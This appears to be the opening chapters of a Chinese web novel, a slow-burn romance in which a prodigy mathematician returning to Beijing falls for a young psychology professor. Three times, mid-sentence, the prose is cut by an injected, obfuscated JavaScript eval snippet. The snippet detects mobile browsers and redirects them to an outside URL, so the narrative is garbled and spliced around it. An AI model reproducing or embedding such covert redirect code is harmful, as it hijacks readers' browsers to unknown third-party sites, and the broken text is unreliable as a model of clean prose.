《被清冷教授蛊到我A上去了》 1. 第 1 章 白凇起码得有5年没回国了。 他自从远赴M国进行深造后,几乎每天都沉浸在题海当中,不管是荣誉还是辛苦都只字不提,这让他朋友关心他的时候多少有点无从下嘴。 秦逑眼镜差点被风吹飞出去,腋下夹着厚重的经济学书籍,嘴里念叨着:“你真要因为这个新项目回国啊?……不麻烦吗,这来回机票都得多少了。” “还好,反正不用我掏钱。” 白凇手里松松握着一杯喝空了的热可可,转了一圈没有发现垃圾桶,颇有素质地选择自行收纳。 他长得颇高,目测有差不多一米九,皮肤白皙,五官骨相堪称完美,一双极其漂亮的凤眼镶嵌在挺拔的山根两侧,睫毛纤长,垂眼时半敛住琥珀色的眸子,单单是站在那里就足够吸睛。 参与这个项目他其实并不完全自愿,更多是在导师的怂恿下松口答应的。之所以他没有太大的驱动性是因为以他的天分和成绩他不管在哪里学习精进都大差不差,那颗脑子让他命中注定就是来给全世界的天才添堵的。 基础类学科都是出了名的人外有人天外有天,在数学的道路上总有人可以用天赋血虐所有人,让所有竞争对手都挣扎在亚军席上。 比如他。 这是和他的本科院校合作的一个项目,据说两国高校都非常重视这次项目合作,参与人员更是精挑细选都是挑的最顶尖的。白凇感慨那几个老头子也是终于舍得把他放出来了,每天呆在粉笔灰飞扬的房间里面进行无休止地演算实在是让人透不上气。 电话那一头秦逑还在叨叨:”回去挺好,等我这边空一点就也回国看看……我说你都22了咋还是牡丹,你这张脸真的白瞎了。” 白凇冷笑:“说的好像你处上了一样。” 秦逑“啧”了一声:“……莫提我伤心事。” 聊到了这个话题白凇也就顺便寻思了一下——自己这些年完全找不出一丝心动过的痕迹,感情史更是一片空白。他只能用可能他比较慕强安慰自己,但是背地里还是忍不住怀疑一下自己的荷尔蒙是不是出了什么问题。 也不是没见过漂亮的女孩子,实际上对他有意思的很多,只不过他总是没什么感觉,往往以课业为理由全都拒绝了。 毕竟自己无心恋爱,可不能耽误人家女孩子。 不知道是不是学数学学傻了,他暗自腹诽。不管是数学还是物理对于人类的精神损害都是巨大的,p大数院更是有着疯人院的美誉,他身边那几个搞了一辈子数学的老头子也神神叨叨的,自己能维持人形就已经很不错了,荷尔蒙出问题倒也正常。 这次回国做项目其实本质上和给他放假没什么区别,他也早就实现了经济自由,这一切看起来都平顺得不行。 广播里传来熟悉的播报声。他拉起拉杆箱,大步走向飞机。 或许这也会是一个很平淡的经历,他想。他很少因为什么东西有大的情绪起伏,毕竟在他的人生里,得到的一切都太轻松了。他的脸上似乎镌刻了“天之骄子”四个大字,无论是意气风发还是春风得意用在他身上都毫不为过。 似乎没有什么是需要费尽心力才能得到的。 随着飞机起飞,白凇给自己戴上耳机,开始闭目养神。 付超刚接到这个项目的时候实在是有点激动,看了参与人员名单之后更是激起了他十足的兴趣。每一个名字都很熟悉,无一不在全球最有影响力的刊物上面频频出现,那都是轻易请不出山的大佛,基本代表了国内学术界最顶尖的力量。 忽然,他的目光停在了一个签名上。那是特邀顾问栏里颇为靠前的一个名字,在所有资料里面都找不出任何主观向的言论,哪怕只是一句潦草的“希望合作愉快”也是没有的,只是在上面潦草得签了一个单词:ring。简单到甚至不是一个标准意义上的英文名。 Ring?付超总觉得这个名字有一种熟悉感,但是又说不太上来。他打开搜索软件将这个单词输入进去,除了常规的单词解释之外,百度百科栏赫然写了一个名字:林泠。 心理学系副教授,是该校有史以来最年轻的教授,他当上教授的时候不过22岁。 非常恐怖的一个年龄数字。可以说是几乎不可想象的。 越是在这个领域深耕的人越是明白这个年龄的难以置信。22岁完全就是乳臭未干的年纪,资料往下拉,密密麻麻划拉好几下都拉不到底的各种荣誉。 太强了……根据时间线算来他今年也才27岁而已。 这个数字光是看着就感受到了人类巅峰智力的恐怖。 付超忍不住吸了一口气,啧啧称奇。或许是他动静有点大,他边上靠窗位置的人把眼罩轻轻掀起了一个角,然后又迅速放了下去。 感受到动静的那一瞬间付超忽然意识到,这种人他怎么会没有接触过呢—— 他的这名师弟不就是吗。 到了白凇这个份上文凭早就没有意义了——他早就拥有了和与他年龄差了几十岁的数学家同台竞争的能力和资格,他不需要任何一丁点外界赋予的虚名。他做的就是不断刷新的定理海洋边缘——付超觉得他在三十岁以内得菲尔茨奖他都不会太惊讶了。 太优秀了。非人一般的优秀。 不过将这么一大群极端聪明的人聚集在一起真的可以起到一个协作的作用吗……付超着实有点抱怀疑态度。白凇也仅仅只是看上去好相处,尽管完美得像标本一样,什么事情都处理得井井有条,但是从未见过他与谁深交,除了偶尔和自己远在耶鲁的一个朋友打打电话之外看不到他的多少交际。 哪怕长着这么一张帅到惨绝人寰的脸,对谈恋爱也兴趣缺缺。 付超时不时会因为自己对他的第一印象是玩得很花的公子哥而感到愧疚。 哪怕平时都有长时间相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546538|171157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处的的教授,他弯眼笑的时候笑意就像蒙在眼球上的一层膜,根本达不到眼底,就这样在浅层漂浮着。 这很怪。他好像也没那么爱数学——虽然付超没有证据。仅凭直觉确实有点太不靠谱了,他自然也不会表达出自己的疑惑,脑子里面全都是对未来的担忧和期待。 白凇在到达终点前的半小时内醒来。付超只是发了个呆,他就已经把自己全部的东西收拾好了,连桌子都收拾得一干二净。九月份的北京几乎要把人烤成干,仆一下飞机同行的人就开始哀嚎。白凇依然是一言不发,眼神落在窗外不断划过的街景上, 交接工作也就是走一些正常的流程,白凇见到了自己本科时的导师,导师对着他窜了有十厘米的身高感慨不已。将合作人一一介绍完成之后,一名看起来三十几岁的女士笑了一下说:“还有一位——他应该在辅导学生,离这里不远,我带大家去吧。” 怎么这都不到场?付超脑子里闪过这么一个念头。似乎是被察觉了,女教授温和道:“他平时工作很认真负责,所以往往忙得脚不沾地,是我和他说不用过来的——对了,” “这位教授的长相可是相当震撼,你们可以先做一个心理准备。” 震撼? 付超实在想不懂什么长相可以比他身边这位师弟更加震撼。 白凇听见这句话时忽然抬起头看了一眼,又迅速移开去,修长的手指轻轻捏着手机的边缘。 夏日炽热的阳光穿过茂密的枝叶,从枝叶的间隙中喷吐出来,烫在人身上,刺眼的白光让白凇眯起了眼睛。他今天就穿了一件非常普通的t恤,但是穿搭的完成度靠的是脸,这反而衬得他挺拔干净。一行人仆一走进教学楼,就听见一个略带烦躁的声音: “……这写得到底是什么。” 所有人都是一愣。那个声音倒是挺清澈好听的,但是语气间夹杂着一丝明显的冷意,只是在几个字之间就将和他人之间隔开了一定的距离。那声音忽然收敛了情绪,冷静而一板一眼地说:“……这个点写得太粗糙了。我还是希望你能对自己地要求稍微高一点,你本身也是很优秀的学生……你先回去吧,修改好晚上发我邮箱。” 学生应了一声,随即走出办公室,在看见他们的时候愣了一下,有些局促地打了一声招呼立刻转身跑了。办公室门虚掩着,冷空气从房内丝丝外溢。女教授轻轻敲了一下门,听见门内应道:“直接进来就好。” 多少有点古怪——看得出是用一个相对温和的语气说的,可依然带着无法忽视的疏离感。教授闻声推开门,而门里的人也很客气地迎了上去。这名女士似乎和这间办公室的主人相当熟络,很自然地寒暄:“ring,这个是我们这次合作的合作人员——就是你答应过我愿意参加的那个。” ring? 付超猛地抬起头来,只是一瞬间就和所有人生根了一般一起被死死钉在原地。 2. 第 2 章 缓缓打开的门后后站着一名清瘦的男性,皮肤白到有些病气,像是放到阳光底下就会变得半透明露出皮肤下面细细的经络。他看上去大概在一米八左右,利落的脸部线条和柔和的皮相将骨相的完美发挥到了极致。他是卷发——看起来不像烫的,更像是一种自然卷,额前随意散落几根乌黑的碎发,探头时,一双如蓝宝石一般的眼眸向他们这边看来。 白凇发誓自己自己这辈子从来没见过比这双更美的眼睛。 这实在是一张女娲炫技般的脸,漂亮得让人不知所措不敢直视,当他认真看过来并礼貌温和地打了一个招呼时,白凇眼前只剩下他浅红嘴唇略微勾起的弧度,心脏一时竟失去了原本稳健有力的节奏,顷刻间方寸大乱。 他下意识摸了一下鼻梁,发现对方的眼神在看完其他人之后开始向他这边倾斜。 蓝色的、宝石一般的眼睛。 对视。 Zerak耳边的几乎所有声音都消弭无踪,根本不知道应该做什么好,好在对方的眼神只在他的脸上停留了一刹那就移开了,各位教授和学者也反应过来,打着哈哈称赞着他的脸。 Ring。他的名字叫ring。 中文叫什么? “我的中文名叫林泠——如果需要称呼的话叫我ring或者名字就好。我不算完全参与项目,只是作为一个可咨询的对象存在,但是我随时欢迎,有任何事情都可以问我,能帮的自然会不遗余力。” 林泠看起来客客气气的,脸上带着一抹礼节性的微笑。他似乎是一个内向寡言的人,在接下来的交流和问询中除了简单的回答之外几乎没有开口。 明明外面是接近四十度的高温,林泠却穿着一件薄薄的衬衫,袖口有一点点的泡泡袖设计,一截白色的护腕轻轻覆盖在苍白纤细的手腕上,往下就是漂亮得像玉雕一样的手。他穿着一件黑色的西装裤,全身上下都整整齐齐没有不雅的褶皱,恍惚间和周围人像是没和他在一个图层。 。白凇做了好几个深呼吸才算是勉强控制住了失控的心跳,胸腔被震得几乎要痛起来,耳边飘过一群人絮絮交流着的声音,在林泠转头的时候目光死死落在他身上,带着些许不可置信。 太惊艳了……连震撼都不足以形容。他闭了闭眼。 交代注意事项依然只是非常简单快速的,毕竟大家都是聪明人,白凇沉默着跟着付超走出了那间办公室。快走到走廊外的时候,白凇忽然问:“……我们团队的对接是谁负责的?” 付超被他问得一愣,下意识答道:“这个还没有设置……一般是队长也就是我负责一些重大事宜的对接。怎么了,你需要和对面直接交流?” 白凇眼神有一瞬间的躲闪,不过最终还是稳住了,没有暴露什么,他说: “那我可以负责对接吗?” 付超瞪大眼睛:“……啊?” “我想做对接工作。” 付超有一瞬间几乎要不认识自己这个师弟了。 在他印象里,白凇遇到这些需要应酬的工作难道不应该想尽一切办法逃避吗,今儿个太阳打西边出来了? ……居然主动说要搞对接? 他俩就这样大眼瞪小眼片刻,付超嘶了一声:“……行吧。那就交给你了。你到时候把对面老师都加上,针对项目所需讨论并整理一些资料就好。” 白凇点了点头。 付超继续迷惑地向前走,而白凇走了一半不着痕迹回头看了一下。 透过门缝里刚好能看见林泠偏过去的脖子,乌黑的头发和冷白的皮肤形成较强的对比。一清二楚。 白凇几乎感到一瞬间的呼吸不畅,脚步加紧了一些,径直走到了阳光底下,似乎在全力克制着回头的冲动。 林泠下班比较晚。他今天有一些教案需要整理,自己手头上的项目也需要费心。 他从来都不是一个会随便对待自己工作的人,哪怕这个项目和他的关系确实不是很大。 他的专业和数学物理关系并不密切——虽然他的高考数学物理成绩挺好的但是那放在学术界完全不够看,他自己的本专业是心理学系,他目前教的也是心理学,但是教授说他觉得他这颗聪明的脑子能在这个项目里给他们带来一些收获。 。这样吗。那好吧。 Ring并不那么擅长拒绝,尤其是老教授的请求。全国顶尖学府的教师那非常权威了,每一个都是泰斗级别的人物,他在其中无论如何都是晚辈。他的性格本质上其实还是温和的,哪怕在外人看来显得十分有九分的冷淡,本质上也是源于自我保护,内里始终都是柔软的。 关上门走出去。八点多校园里面还是很热闹的,ring穿过人来人往的林荫道,准备回家,忽然有人喊了他一声:“是ring教授吗?” 他微讶,抬头看向声源——这个称呼并不常见,老师和长辈一般称呼他为ring,学生一般叫他墨老师。把这两个拼在一起委实有些奇怪。 然后目光正对上一张让人印象深刻的脸。 按理来说他是非常脸盲的——毕竟一个聪明的脑子总是得牺牲掉一点什么的,他的方向感很差脸盲更是严重,但是这个人这张脸真是让人想不记住都难。 实在是英俊到像是从漫画里面走出来的,每一处都恰到好处,完美得惊人,似乎长出这样的五官就是专门为了诠释什么叫丰神俊朗的。他看起来也就二十出头,刚刚在办公室ring就听教授讲过他的身份。 ……经历传奇到林泠在见到他之前一直都以为,这人应该是寸头络腮胡瓶盖眼镜老头衫的所谓理科战神脸。 而且听说非常难相处。 林泠因此多少在心里带了一丝提防。 他点了一下头,站在原地,看着来人走近,轻声说:“你好。今天在办公室见过一面是吗?” 出乎他的意料,面前的人一下子笑起来,那双漂亮的凤眼弯出一个温柔的弧度:“是的,你好,我叫zerak,中文名是白凇。” 那很好听了。 很少听到和自己介绍名字同样语序的表达,不禁让林泠生出一丝好感。 “好的白凇,你找我有什么事情吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546539|171157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白凇似乎顿了一下,然后说:“大概有两件事情。第一件事情就是, “来找你要个联系方式。” 林泠:“?”这对吗? 像是怕他误会一般,白凇迅速进行了解释:“是这样的,我是我们学校那边负责对接工作的,和其他老师都已经添加过联系方式了,当时你没在没加到。” 林泠恍然,表示他明白了——完全没有意识到一个问题那就是面前这位仁兄想要自己的联系方式完全可以找组里的老师要,根本没必要找他当面要。 事实上组里老师甚至已经发过了。 但是某些人比较狗想找人当面搭话所以。 白凇接着说:“第二件事情就是,听说老师是在这附近租房子的,想找您详细问一下相关的信息,因为我不太喜欢集体宿舍。” 这个林泠就更能理解了——他也不是很喜欢p大的宿舍,虽然他现在住的是教师宿舍,但是他也是有本科阶段的,勉强忍了一年就跑出去住了。他再次点头:“好的。我到时候把中介的联系方式推给你。” 他刚准备走,身后人又快速叫了一声:“教授。” 林泠转头。白凇年龄实在算不得大,甚至某种层面上说是男孩也不过分。少年气不管何时何地都是耀眼的,让人忍不住心生好感。他说: “我可以跟您去您家那个小区看看吗?听说那里交通挺方便的,想顺便去看看。” 林泠并没有怎么想就答应了:“好。你也可以去我家看一下户型,反正大多数都差不多。” 白凇简直无法想象能这么顺利,他立刻高兴地答应了下来。两个人就这样并排走着,白凇忽然问:“教授本科也是在B大读的吗?” 林泠说是。白凇说:“我本科也是。不过大三就出国了。” “我当初也是大三出的国。”林泠回答,“听教授说起过你,我当时也是在M国。” 本以为白凇会接着聊美国留学的事情,结果他出人意料地问:“居然说起过我吗?” 林泠点头:“你很优秀。” 一句话直接夸得白凇心花怒放,但是面上依然是四平八稳:“谢谢,能给您留下这么好的印象我很荣幸。教授是在H大吗?” 林泠再次点点头。他是不善于说话的——平时也没什么人来找他聊闲天,他的朋友实在是太少了,所以面对聊天的场面多少会觉得紧张。好在白凇似乎性格比较外向:“我朋友是在耶鲁——要是上学的时候能认识您就好了,感觉和您交流会很愉快。” 这是一个很稀奇的评价。林泠打小朋友就特别少,甚至因为外貌和成绩连孤立排挤都贯穿着他的人生。这个评价他只从他朋友那里听到过——这也就是为什么他们能成为朋友。林泠看了他一眼,诚实地说:“倒是不一定。我的性格不算很好相处。” 白凇笑笑:“是吗。可是我感觉和您相处有种很舒适的感觉,虽然才刚见面没多久。” “或许这就是缘分吧。” 林泠听着这般妥帖的话,不禁怀疑这小子估计招惹了不少桃花债。 3. 第 3 章 林泠租住的公寓离学校很近,不知不觉就到了门口。他打开门,示意白凇拖鞋的位置,然后走进厨房给他倒水。 这是一个非常简单的两室一厅,大概一百平左右。里面的装修非常简约,似乎屋主对于日常生活并没有太高的条件要求。茶几上面放着一些新鲜的水果,阳台上倒是养了很多植物,以吊兰,多肉和绿萝为主。餐桌上放了一大捧富贵竹,显然养了有年头了,根系发达到填满了整个花瓶。 不知道为什么,一瞬间给人的感觉是……非常南方。 当林泠带着纸杯向白凇走过来并轻轻放在茶几上,白凇忽然开口问: “教授是南方人吗?” 林泠:“?” 他一下子有点被这个问题搞蒙了,呆滞了一下说:“……是的,我是浙江人。是说话有口音吗?” 白凇笑了笑,解释说:“感觉您养植物的习惯和我母亲很像。” 林泠有些惊讶:“这我倒是没有注意到。在南方这些植物是出了名的好养活,但是来了北方还是得精心打理。令堂也喜欢植物吗?” 其实也就那样。 白凇的母亲在各种意义上都是非常开明的人,她什么都喜欢学习一点,养花只是她为数不多的爱好之一,也没养几盆。白凇回答道:“还好,她也是喜欢养一些比较好活的植物,这样子打理比较方便。教授是学生物专业的吗?” 林泠坐在了边上的一个小沙发上,和他保持了一个很礼貌的距离:“不是,我是学心理学的。生物只是相对而言比较感兴趣。” 他只是看起来高冷,实际上说话的语气是温温柔柔的,声音也比较轻,和他本人的外貌形成了一些反差。他也并没有让白凇的交流意愿落到地上,很礼貌地主动起了个头:“我是菱城人。毕业于桂城二中。” 白凇眼睛一亮:“那很巧了,我们是校友啊。” 二中代表了全省最优秀的生源,里面隔几年出现一个惊才绝艳的的学生也是不足为奇。林泠简单表达了一下对白凇的赞许,两个人就这样平淡地拉起了家常。林泠对于白凇的初印象很好,也看得出对方有相交的意愿。 虽然算是晚辈,但是林泠也确实欣赏他的才华,觉得倒也无不可。 他是一名老师。尽管年纪并不算很大,但是他带过的学生大多与白凇年龄相仿,这种朝气对他来说一直是熟悉而令人愉快的。 林泠的生活充斥着各种学术研究和授课,私人的时间不算很多,他本人对谈恋爱和交际也实在提不起兴趣,日复一日重复着枯燥单调的生活。忽然有人选择闯进他的生活,他在察觉自己并不抗拒时就坦然接受了。 他学心理学,自然分辨得出善意。 眼前的年轻人似乎没有经历过什么坎坷,眼睛里没有太多城府,看起来干干净净。毕竟以他的水平完全没有勾心斗角的必要。他大可以表现得特立独行且骄傲放肆,却选择温和地与人相处,这让林泠很欣赏他。聊着聊着,林泠忽然问:“这两天没租房子的话你住哪里,酒店吗?” 白凇耸耸肩:“我明天估计就会找房子住进去,今天找个酒店对付一晚就行。” 林泠想了一下,说:“就一晚的话,我这里有一个空的客卧,你可以今晚在我家对付一下。” 白凇:“?” 他都不敢提的奢望居然这么快就,实现了? 这么轻易? 他呆楞片刻,一股狂喜涌上心头:“那实在是麻烦教授了,您人真好。” 林泠微笑:“没事,举手之劳。” 虽然知道p大给留学生的宿舍条件肯定很好,但是不愿意接受集体生活这他太能共情了。仅仅只是帮助一下自己未来很长一段时间都必须共事的合作伙伴,对他来说实在不算什么。白凇出门去简单取了一些生活用品,大部分放在地下室,准备明天搬到新家去。林泠给他收拾了一些被褥,然后自己去洗澡了。 白凇趁着林泠洗澡开始仔仔细细地打量着这间屋子。乍一看房主的生活似乎很单调,没有太多装饰,但是茶几的抽屉里面拉开是塞得满满当当的零食,其中也包括了一些和屋主表现出的性格相距甚远的食物:薯片,辣条,□□糖等。 甜食为主膨化食品为辅。 厨房一看就是经常使用,冰箱里塞满了各种食材还有一些剩菜。 自己做饭,爱干净,喜欢生物,喜欢吃零食。 那很可爱了。 白凇只是想象了一下此人嘴里叼着辣条的样子就笑了出来。 其实他觉得自己一见钟情太正常了——他从未见过如此好看又优秀,温柔又礼貌的人。尽管对方是一名男性。他甚至觉得没必要花时间经历去纠结自己的性取向——这样的人谁看不喜欢呢,男女早就已经不重要了。 不过条件都这么好了,居然没有对象吗。 屋子里面完全没有第二个人生活的痕迹,就差把屋主独居刻在墙上了。白凇一时间不禁好奇起来,忍不住想知道其中缘故——总不会是性冷淡吧。 ……感觉还真有可能。 正这样想着,浴室的门就打开了。Ring穿着家居服走出来,t恤松松垮垮,一看就是那种穿了很多年的纯棉睡衣,拿来做家居服再合适不过。衣服的宽松更加显现出了他本人异于常人的瘦削和单薄,深凹的锁骨随着擦拭头发的动作若隐若现。 白凇一时间觉得自己喉咙有点发干。他有点欲盖弥彰地低头喝了一口水,直到林泠走进房间开始吹头发才抬起头。不一会儿他就走了出来。刚吹好的头发蓬松而不听话,搭配上自然卷的弧度,带冷调的五官和表情都跟着柔和不少,在白凇眼里更是显露出一丝呆萌。他强压着想要翘起的嘴角,状若无意地问:“话说教授这么优秀,有没有对象啊。” 林泠倒并没有觉得这个问题很唐突,这个问题应该很多人都有,只不过没有几个人敢开口问就是了——可能是看他这副冷冰冰的样子直接默认他养胃了。他思考了片刻说:“没有。也没谈过,对这方面在心理层面上不是很感兴趣。” 白凇听出了他想表达的意思,一时间有点忍俊不禁——这是在暗戳戳辟谣自己不是养胃。他笑着回复:“确实。学术研究搞起来焦头烂额,感觉都快没有世俗的欲望了。” 好吧其实他现在没资格说这个。摸着良心说他在看到林教授的那一刻连俩人的婚房买在哪里都想好了——他也是真的没有想到自己居然是个恋爱脑。 他并没有经历过多少失败,原生家庭更是健康,他有足够的自信去爱别人,所以他几乎是立刻决定去接触去追逐,给好的结局铺垫前提条件。 林泠听完他的话笑了笑,那一闪而过的清浅笑意成功让白凇又是狠狠一个愣神。他不再闲聊,掏出自己的笔记本电脑坐在餐桌上开始办公。需要整理的资料实在是太多了。他将一些资料打印出来,开始在上面圈点勾画。 他刚整理好一部分文件,就听见白凇询问是否可以坐在桌子上进行办公。这自然是可以的。白凇就这样坐到了林泠的对面,掏出平板和触屏笔开始对着一些数据演算。做题的间隙他用余光看向对面的人。算起来林教授大了他五岁,看起来的气质无疑与他天差地别。他看起来总是冷静,理智,认真,成熟,似乎没有什么可以阻止他完成自己的目标。 鸦羽般乌黑的眼睫毛没有什么情绪地垂落着,隐约的蓝色从缝隙里透出来。 黑发蓝眼。这是很少见的搭配,十有八九是混血。 看来教授不仅喜欢生物,本人也是对生物遗传学论断的一个很好的呈现。 他就这样偷偷看着自己的心上人,怎么看怎么欢喜,眼里的温柔和爱意几乎要溢出来。林泠工作时全神贯注,自然是没有注意到他的目光。他俩静静地工作着,墙上挂钟的指针也悄悄过了十二点。白凇的作息一向非常规律,他熄屏了平板,叫了好几声“教授”,林泠才将头抬起来。 “教授准备几点睡?” 林泠这才想起来看时间——已经过了十二点。他遂将电脑盖灭,说:“我现在去睡。” 白凇笑笑,冲他挥挥手:“那教授晚安?” 林泠微微颔首:“晚安。” 随着一声金属摩擦的响动,所有动静都被挡在了门内。白凇在心里叹了口气,走进客房关上门。床上四件套都是很简洁的款式,他坐在床上,冲着墙壁发呆。 真是有趣……那么成熟那么稳重的一个人,居然会买娃娃。 客房里面似乎平时是用来堆放杂物的,在窗台上整整齐齐摆着很多娃娃。有大有小。书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546540|171157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柜里塞满了书和本子,资料和文件,几个小玩意儿摆在上面。凑近了看,是一些小小的木雕和陶土捏成的小作品,造型大多很可爱,都是一些小动物什么的。 木工痕迹比较重,完全可以清晰感受到制作他的人是怎样笨拙又用心地将它一点点刻好。 有一张文件没有夹好露出了边角,上面用红色的笔简短地写了备注,字体清瘦秀气,落笔间带着不可质疑的力道,隐隐将他人前未曾展示的天才特有的那种骄傲和锋芒露出了一点气息。 真的很有趣。 这样平淡的人皮下似乎藏着一个更为鲜活可爱的自我,这吸引力简直就是致命的。 虽然他确实很想看书架里面的东西,但是这毕竟是ring的私人物品,看看展示的这些就好,触碰私人物品多少有点越界了。他爬回床上,闭眼之前眼前又突然浮现出那双蓝色的眼睛。 比帝都的天空要蓝多了。 林教授醒来的时候是七点,因为他今天有早八。有课。想死。 虽然他真的是工作狂但是,每当早八的时候他都感觉自己活人微死。 他蔫蔫地从床上爬起来,埋进一只玩偶又打了几分钟盹,这才磨磨蹭蹭地开始换衣服,洗脸刷牙,然后走出门。发现家里的另外一个人早已坐在沙发上写写画画,餐桌上摆放着一些早点和豆浆。他的大脑还在重启进程中,一时间没有反应过来,就听见那人说:“我出门买早饭的时候看见了顺便给你带了一份,您看看合不合胃口?” 那很好了。 林泠依旧懵懵的,但还是下意识说了一句谢谢,伸手去够袋子——他其实很担心白凇买到自己不喜欢吃的,他在早餐上面一向特别挑食。正当他准备不辜负白凇的好意凑合吃下时,看到袋子里躺着的甜馒头一下子呆住了。 他怎么知道他喜欢吃这个……?一般人下意识都会买肉包和菜包吧。 他把吸管插进豆浆里——甜豆浆。也是他爱喝的。 这到底是怎么做到的……? 惊讶归惊讶,感谢不能少。林泠转向白凇,真情实感地说:“我很喜欢,谢谢。” 男生只是笑着回复他举手之劳,实际上尾巴要翘到天上去了。他稍微留心了一下林泠买的那些零食,大概明白了屋主特别嗜甜,对于甜饮料和各种甜点毫无抵抗力。于是他就买了这些。 看来是猜对了。 林教授吃完早点后就匆匆赶往学校,而某姓白的研究员由于校方给了几天时间熟悉和适应环境,倒也不需要立刻赶到学校工作。他在下午工作之前把房子的事情解决掉,收拾收拾搬家也废了老大劲,等全都收拾完已经接近五点了。他洗了个澡,犹豫了一下给林泠发了消息。 林教授的微信头像是满树繁茂的桂花,id叫鸣泠。朋友圈仅三天可见,背景是一根狗尾巴草编成的小狗。 粉笔头:教授您好,请问你们这边的工作时间安排一般是什么样的呢 花了些时间才收到回复。 林泠昨天加的时候没细看,等此人发消息了才想起来自己都没给人家写备注,结果对方的id成功让他沉默三秒,心里感慨不愧是年轻人,自己奔三了实在跟不上时代潮流有点看不懂。他迅速改了对方的备注。 鸣泠:一般教授下班都挺早的,但是以我个人的习惯会在学校里办公到晚上八点。 鸣泠:项目相关应该任务不会特别繁重,大多数时间还是可支配的。毕竟两校之间主要以交流协作为主要目的。 鸣泠:你们是会分配专门的地方办公,不过单人单间比较困难。 白凇:谢谢教授 白凇:想问问教授平时可以来找您探讨项目相关吗?以及我对于心理学还是很有兴趣的,希望能得到您的指导。 鸣泠:可以的,你有需要找我就好。 鸣泠:但是我平时比较忙,有可能找我的时候需要等一下 白凇:没关系,非常感谢老师愿意帮助我,我很荣幸。 鸣泠:没事,举手之劳而已。 鸣泠:我也算参与了项目,回答你的问题本身就是应该的 白凇:不管怎样依然非常感谢 鸣泠:【花】 白凇看着那一朵缓缓绽开的玫瑰花,有点哭笑不得。 4. 第 4 章 一看此教授就是那种平时沉迷于学术丝毫不了解外面世界的那种,很有可能连抖音都没有下载,一根玫瑰花体现出了浓浓的年代感,甚至让人怀疑他是不是真的只有二十七,实在是叫人有些哭笑不得。 感觉是会把微笑当成友好的表情进行发送的。 不过不管怎么样,他也是利用了对方是教授这个身份接近他了。林泠似乎并没有什么防备,甚至根本没有往某个方向去想…… 估计是一场恋爱都没谈过,纯纯零经验。 白凇估摸着距离八点钟还是有些距离,便出发去找林泠。林教授依然在整理他那永远整理不完的资料。正工作着,门忽然被推开了,他下意识以为是学生,顺口说:“论文可以直接放桌面上,我现在有点事情,晚点看。” 过了几秒,他看没有动静,多少有点疑惑。 “……教授。” 沉迷于工作的林泠这才有些错愕地抬起头,正对上白凇的眼神。 “我是不是打扰到您办公了?” “……不会。”林泠随即答道,“你随便坐,椅子在靠墙的地方。” 白凇从善如流地拖来了椅子,并在林教授桌前坐下。他今天穿了一件薄卫衣,是浅薄荷绿,穿在他身上显得特别清爽温和,连林泠都忍不住多看两眼。白凇对林泠说:“想找教授了解一些心理学方面的知识……或许对于教授来说太基础了一点,您有教材吗?能否借我看一下。” 林教授一直都很认可他人的学习探究精神,遇见这种情况那必然是支持的。他答应着一边站起身子一边从书柜里拿出几本书和资料:“这是一些比较简单的资料,你可以看一下,有不懂的都可以随时问我。” ……这也太,温柔和善没有防备心了吧。白凇心想。这么有师德这么有耐心的老师平时不会被欺负吗。 不过在学术圈这其实也很正常,有的是人一心扑在自己的研究上对于外物基本上没有什么很高的要求,而且林泠看起来就是这种人,同时也是一个非常负责任的老师,自然不会因为他人的求知欲而感到反感。 这无疑给了他接近的机会。 白凇接过了资料并礼貌表达了感谢。林泠又继续办公了。两个人就这样相安无事地各做各的,直到白凇站起来,拿着书本靠近。 “教授,这个知识点我不是很懂,您可以和我讲解一下吗?” 林泠答应着接过书本,白凇就这样凑过来。两个人一时间离得极近,白凇一只手搭在他的椅背上一只手摁着桌面,这个姿势几乎是将林泠圈住了一般,他俩之间本就存在的体型差在这个简单的动作下被悄然放大。 林泠忽然心里涌上一种说不出的感受。 放在桌子上的手修长干净,分布着恰到好处的青筋,指甲也修得干干净净。往上面一点看,少年身量欣长,身上有一种好闻得味道,应该是源于某种洗衣凝珠,若有若无,却依然彰显着存在感。他有一瞬间的愣神,但是又立马拽回眼看着要飘远的思绪,拿过一张草稿纸开始给他讲解。 白凇再一次看见了那清瘦秀气却又不失锋芒的字迹,这回是亲眼看着它一点点出现,清晰无比,落笔的每一分力道都迷人得很。林教授垂着眼睫毛认真地讲解,而白凇的目光总是控制不住地落在他清瘦的脊背和白到晃眼的脖颈,却又强逼着自己听进去讲解,但不一会儿又走神,眼神落在林泠浅红色不断开合的嘴唇上。 ……不是,做他的学生真的听得进去课吗。 这简直就是行走的魅魔…… 白凇在心里这样感慨,耳边传来林泠和蔼的声音:“这么讲能听懂吗。” 。好吧最后一个part他根本没听进去。 